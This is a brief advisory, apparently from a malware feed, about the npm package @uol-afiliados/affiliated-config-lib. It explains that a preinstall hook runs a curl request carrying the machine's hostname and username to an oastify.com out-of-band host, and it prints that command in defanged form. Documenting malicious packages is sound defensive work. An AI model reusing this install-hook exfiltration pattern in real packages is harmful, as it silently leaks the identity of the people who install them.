@uol-afiliados/affiliated-config-lib@102.0.0

Analysis

The package's preinstall hook runs index.js, which executes a curl request to the Burp Collaborator host afiliados[.]hqbv58hgt1sjk7vf7ru4o0mwzn5etahz[.]oastify[.]com, embedding the victim's hostname and username in the request subdomain (hxxp://$(hostname).$(whoami).afiliados[.]hqbv58hgt1sjk7vf7ru4o0mwzn5etahz[.]oastify[.]com/). This exfiltrates the installer's host identity to an attacker-controlled endpoint during installation.